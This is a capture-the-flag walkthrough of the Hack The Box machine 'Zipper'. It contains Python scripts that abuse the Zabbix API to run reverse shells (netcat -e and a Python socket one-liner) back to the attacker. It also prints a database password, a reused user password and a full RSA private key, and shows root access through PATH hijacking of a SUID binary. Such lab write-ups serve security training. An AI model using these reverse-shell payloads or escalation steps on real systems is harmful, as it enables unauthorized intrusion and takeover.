Zipper
23/02/2019
Even considered hard, Zipper is not a difficult box. It requires a bit of enumeration and some API knowledge to obtain the user flag and to escalate privileges we just have to play with environment variables.
User
First run nmap
to see ports 22
and 80
are open.
root@kali:~/htb/zipper# nmap -sC -sV 10.10.10.108 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-01 13:21 UTC Nmap scan report for 10.10.10.108 Host is up (0.35s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA) | 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA) |_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.83 seconds
After running gobuster
with tons of word lists without result, I found something using /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
.
root@kali:~/htb/zipper# /opt/gobuster/gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.10.108 ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.108/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Timeout : 10s ===================================================== 2019/02/06 09:45:24 Starting gobuster ===================================================== /zabbix (Status: 301) ===================================================== 2019/02/06 10:03:57 Finished =====================================================
On this site we have what it seems to be a Zabbix
login panel.
Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines (VMs) and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption.
Logging as a guest user we can see the content of most dashboards and tabs.
In the Overview tab we can find the following information which could make us think that a user zapper
exists on the system.
If we try to login with zapper/zapper
we get the following error, instead of Login name or password is incorrect
.
We can access to some documentation about the platform clicking on the help button, and inside, there's an API manual which we can use for our zapper
user.
After playing around with the API I made the following script in python which creates a script and executes it to obtain a reverse shell. (The random part is because if a script with the same name already exists, the request returns an error).
import requests import json import netifaces from random import randint my_ip = netifaces.ifaddresses('tun0')[netifaces.AF_INET][0]['addr'] url = 'http://10.10.10.108/zabbix/api_jsonrpc.php' headers = {'Content-Type': 'application/json-rpc'} data = { "jsonrpc": "2.0", "method": "user.login", "params": { "user": "zapper", "password": "zapper" }, "id": 1, "auth": None } r = requests.post(url, data=json.dumps(data), headers=headers) data['auth'] = r.json()['result'] data['method'] = "script.create" data['params'] = { "name": "My shell - " + str(randint(1,99999)), "command": "nc " + my_ip + " 6969 -e /bin/bash" } r = requests.post(url, data=json.dumps(data), headers=headers) script_id = r.json()['result']['scriptids'][0] data['method'] = "host.get" data['params'] = {} r = requests.post(url, data=json.dumps(data), headers=headers) host_id = r.json()['result'][0]['hostid'] data['method'] = "script.execute" data['params'] = { "scriptid": script_id, "hostid": host_id } r = requests.post(url, data=json.dumps(data), headers=headers)
Unfortunately, the shell obtained doesn't look like our target machine and we don't have any flags here.
root@kali:~/htb/zipper# nc -nlvp 6969 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::6969 Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 10.10.10.108. Ncat: Connection from 10.10.10.108:41526. hostname 1d58c4093251 ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255 ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet) RX packets 21020 bytes 4375105 (4.3 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 18746 bytes 8477685 (8.4 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 loop txqueuelen 1000 (Local Loopback) RX packets 6993 bytes 389915 (389.9 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 6993 bytes 389915 (389.9 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
We have some credentials in a configuration file which we can use to login on Zabbix, but we can do the same through the API with zapper.
cat /etc/zabbix/web/zabbix.conf.php <?php // Zabbix GUI configuration file. global $DB; $DB['TYPE'] = 'MYSQL'; $DB['SERVER'] = 'localhost'; $DB['PORT'] = '0'; $DB['DATABASE'] = 'zabbixdb'; $DB['USER'] = 'zabbix'; $DB['PASSWORD'] = 'f.YMeMd$pTbpY3-449'; // Schema name. Used for IBM DB2 and PostgreSQL. $DB['SCHEMA'] = ''; $ZBX_SERVER = 'localhost'; $ZBX_SERVER_PORT = '10051'; $ZBX_SERVER_NAME = 'Zabbix'; $IMAGE_FORMAT_DEFAULT = IMAGE_FORMAT_PNG;
After playing a little bit more with the API I did some modifications to the script to be able to retrieve a shell in the intended machine.
- Change
execute_on
to run the script on Zabbix agent, instead of Zabbix server. - Change the
command
becausenc
didn't work well on the new machine. - Change the
hostid
to Zipper's host id to run the script there.
import requests import json import netifaces from random import randint my_ip = netifaces.ifaddresses('tun0')[netifaces.AF_INET][0]['addr'] url = 'http://10.10.10.108/zabbix/api_jsonrpc.php' headers = {'Content-Type': 'application/json-rpc'} data = { "jsonrpc": "2.0", "method": "user.login", "params": { "user": "zapper", "password": "zapper", }, "id": 1, "auth": None } r = requests.post(url, data=json.dumps(data), headers=headers) data['auth'] = r.json()['result'] data['method'] = "script.create" data['params'] = { "name": "My shell - " + str(randint(1,99999)), "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+my_ip+"\",6969));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", "execute_on": 0 } r = requests.post(url, data=json.dumps(data), headers=headers) script_id = r.json()['result']['scriptids'][0] data['method'] = "host.get" data['params'] = {} r = requests.post(url, data=json.dumps(data), headers=headers) for host in r.json()['result']: if host['name'] == 'Zipper': host_id = host['hostid'] break data['method'] = "script.execute" data['params'] = { "scriptid": script_id, "hostid": host_id } r = requests.post(url, data=json.dumps(data), headers=headers)
Now we do get a reverse shell from the real Zipper.
root@kali:~/htb/zipper# nc -nlvp 6969 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::6969 Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 10.10.10.108. Ncat: Connection from 10.10.10.108:44544. /bin/sh: 0: can't access tty; job control turned off $ hostname zipper $ ifconfig docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 inet6 fe80::42:efff:fe46:16c7 prefixlen 64 scopeid 0x20<link> ether 02:42:ef:46:16:c7 txqueuelen 0 (Ethernet) RX packets 172436 bytes 42687034 (42.6 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 197671 bytes 38297831 (38.2 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.10.10.108 netmask 255.255.255.0 broadcast 10.10.10.255 inet6 dead:beef::250:56ff:feb9:f274 prefixlen 64 scopeid 0x0<global> inet6 fe80::250:56ff:feb9:f274 prefixlen 64 scopeid 0x20<link> ether 00:50:56:b9:f2:74 txqueuelen 1000 (Ethernet) RX packets 491175 bytes 55976406 (55.9 MB) RX errors 1 dropped 3 overruns 0 frame 0 TX packets 272993 bytes 50881038 (50.8 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 19 base 0x2000 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 7991 bytes 541956 (541.9 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 7991 bytes 541956 (541.9 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 veth5911722: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet6 fe80::944e:40ff:fefa:6909 prefixlen 64 scopeid 0x20<link> ether 96:4e:40:fa:69:09 txqueuelen 0 (Ethernet) RX packets 172436 bytes 45101138 (45.1 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 197687 bytes 38299047 (38.2 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Upgrade the shell with python3
.
$ python3 -c 'import pty;pty.spawn("/bin/bash")' zabbix@zipper:/$
We have the user flag under zapper
's folder, unfortunately we got our shell from zabbix
and we don't have the right permissions to read it.
zabbix@zipper:/home/zapper$ ls -la ls -la total 48 drwxr-xr-x 6 zapper zapper 4096 Sep 9 19:12 . drwxr-xr-x 3 root root 4096 Sep 8 06:44 .. -rw------- 1 zapper zapper 0 Sep 8 13:44 .bash_history -rw-r--r-- 1 zapper zapper 220 Sep 8 06:44 .bash_logout -rw-r--r-- 1 zapper zapper 4699 Sep 8 13:41 .bashrc drwx------ 2 zapper zapper 4096 Sep 8 06:45 .cache drwxrwxr-x 3 zapper zapper 4096 Sep 8 13:13 .local -rw-r--r-- 1 zapper zapper 807 Sep 8 06:44 .profile -rw-rw-r-- 1 zapper zapper 66 Sep 8 13:13 .selected_editor drwx------ 2 zapper zapper 4096 Sep 8 13:14 .ssh -rw------- 1 zapper zapper 33 Sep 9 19:07 user.txt drwxrwxr-x 2 zapper zapper 4096 Sep 8 13:27 utils
But we do have permissions to read a backup.sh
file in utils
where there's a password (ZippityDoDah
) used to zip some files.
zabbix@zipper:/home/zapper/utils$ cat backup.sh cat backup.sh #!/bin/bash # # Quick script to backup all utilities in this folder to /backups # /usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null
Stupid zapper
, he's using the same password in the machine.
zabbix@zipper:/home/zapper/utils$ su zapper Password: ZippityDoDah Welcome to: ███████╗██╗██████╗ ██████╗ ███████╗██████╗ ╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗ ███╔╝ ██║██████╔╝██████╔╝█████╗ ██████╔╝ ███╔╝ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗ ███████╗██║██║ ██║ ███████╗██║ ██║ ╚══════╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ [0] Packages Need To Be Updated [>] Backups: 4.0K /backups/zapper_backup-2019-02-06.7z 4.0K /backups/zabbix_scripts_backup-2019-02-06.7z zapper@zipper:~/utils$
We can read his ssh private key and use it to get a better shell.
zapper@zipper:~/.ssh$ cat id_rsa cat id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAzU9krR2wCgTrEOJY+dqbPKlfgTDDlAeJo65Qfn+39Ep0zLpR l3C9cWG9WwbBlBInQM9beD3HlwLvhm9kL5s55PIt/fZnyHjYYkmpVKBnAUnPYh67 GtTbPQUmU3Lukt5KV3nf18iZvQe0v/YKRA6Fx8+Gcs/dgYBmnV13DV8uSTqDA3T+ eBy7hzXoxW1sInXFgKizCEXbe83vPIUa12o0F5aZnfqM53MEMcQxliTiG2F5Gx9M 2dgERDs5ogKGBv4PkgMYDPzXRoHnktSaGVsdhYNSxjNbqE/PZFOYBq7wYIlv/QPi eBTz7Qh0NNR1JCAvM9MuqGURGJJzwdaO4IJJWQIDAQABAoIBAQDIu7MnPzt60Ewz +docj4vvx3nFCjRuauA71JaG18C3bIS+FfzoICZY0MMeWICzkPwn9ZTs/xpBn3Eo 84f0s8PrAI3PHDdkXiLSFksknp+XNt84g+tT1IF2K67JMDnqBsSQumwMwejuVLZ4 aMqot7o9Hb3KS0m68BtkCJn5zPGoTXizTuhA8Mm35TovXC+djYwgDsCPD9fHsajh UKmIIhpmmCbHHKmMtSy+P9jk1RYbpJTBIi34GyLruXHhl8EehJuBpATZH34KBIKa 8QBB1nGO+J4lJKeZuW3vOI7+nK3RqRrdo+jCZ6B3mF9a037jacHxHZasaK3eYmgP rTkd2quxAoGBAOat8gnWc8RPVHsrx5uO1bgVukwA4UOgRXAyDnzOrDCkcZ96aReV UIq7XkWbjgt7VjJIIbaPeS6wmRRj2lSMBwf1DqZIHDyFlDbrGqZkcRv76/q15Tt0 oTn4x8SRZ8wdTeSeNRE3c5aFgz+r6cklNwKzMNuiUzcOoR8NSVOJPqJzAoGBAOPY ks9+AJAjUTUCUF5KF4UTwl9NhBzGCHAiegagc5iAgqcCM7oZAfKBS3oD9lAwnRX+ zH84g+XuCVxJCJaE7iLeJLJ4vg6P43Wv+WJEnuGylvzquPzoAflYyl3rx0qwCSNe 8MyoGxzgSRrTFtYodXtXY5FTY3UrnRXLr+Q3TZYDAoGBALU/NO5/3mP/RMymYGac OtYx1DfFdTkyY3y9B98OcAKkIlaA0rPh8O+gOnkMuPXSia5mOH79ieSigxSfRDur 7hZVeJY0EGOJPSRNY5obTzgCn65UXvFxOQCYtTWAXgLlf39Cw0VswVgiPTa4967A m9F2Q8w+ZY3b48LHKLcHHfx7AoGATOqTxRAYSJBjna2GTA5fGkGtYFbevofr2U8K Oqp324emk5Keu7gtfBxBypMD19ZRcVdu2ZPOkxRkfI77IzUE3yh24vj30BqrAtPB MHdR24daiU8D2/zGjdJ3nnU19fSvYQ1v5ObrIDhm9XNFRk6qOlUp+6lW7fsnMHBu lHBG9NkCgYEAhqEr2L1YpAW3ol8uz1tEgPdhAjsN4rY2xPAuSXGXXIRS6PCY8zDk WaPGjnJjg9NfK2zYJqI2FN+8Yyfe62G87XcY7ph8kpe0d6HdVcMFE4IJ8iKCemNE Yh/DOMIBUavqTcX/RVve0rEkS8pErQqYgHLHqcsRUGJlJ6FSyUPwjnQ= -----END RSA PRIVATE KEY-----
Copy it to our machine and we can ssh easily now.
root@kali:~/htb/zipper# ssh -i id_rsa zapper@10.10.10.108
We have the user flag in his home directory.
zapper@zipper:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Privilege Escalation
In the utils
folder we also have a strange zabbix-service
binary owned by root and with the SUID flag set.
zapper@zipper:~/utils$ ls -la total 20 drwxrwxr-x 2 zapper zapper 4096 Sep 8 13:27 . drwxr-xr-x 6 zapper zapper 4096 Sep 9 19:12 .. -rwxr-xr-x 1 zapper zapper 194 Sep 8 13:12 backup.sh -rwsr-sr-x 1 root root 7556 Sep 8 13:05 zabbix-service
After some investigation we can see the program is executing systemctl
when we select the start or stop option after running it.
zapper@zipper:~/utils$ strings zabbix-service ... start or stop?: start systemctl daemon-reload && systemctl start zabbix-agent stop systemctl stop zabbix-agent ...
What we're going to do is modify the PATH
environment variable to make it run our custom systemctl
binary, instead of /bin/systemctl
.
First of all, we will create that malicious binary which will simply run /bin/bash
.
zapper@zipper:~/utils$ echo '/bin/bash' >> systemctl zapper@zipper:~/utils$ chmod +x systemctl
Edit PATH
and add the location of our sytemctl
at the beginning, therefore it will going to be found first.
zapper@zipper:~/utils$ which systemctl /bin/systemctl zapper@zipper:~/utils$ PATH=~/utils:$PATH zapper@zipper:~/utils$ which systemctl /home/zapper/utils/systemctl
Execute zabbix-service
and we get a pretty root shell.
zapper@zipper:~/utils$ zabbix-service start or stop?: start Welcome to: ███████╗██╗██████╗ ██████╗ ███████╗██████╗ ╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗ ███╔╝ ██║██████╔╝██████╔╝█████╗ ██████╔╝ ███╔╝ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗ ███████╗██║██║ ██║ ███████╗██║ ██║ ╚══════╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ [0] Packages Need To Be Updated [>] Backups: 4.0K /backups/zapper_backup-2019-02-06.7z root@zipper:~/utils#
root@zipper:~/utils# cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX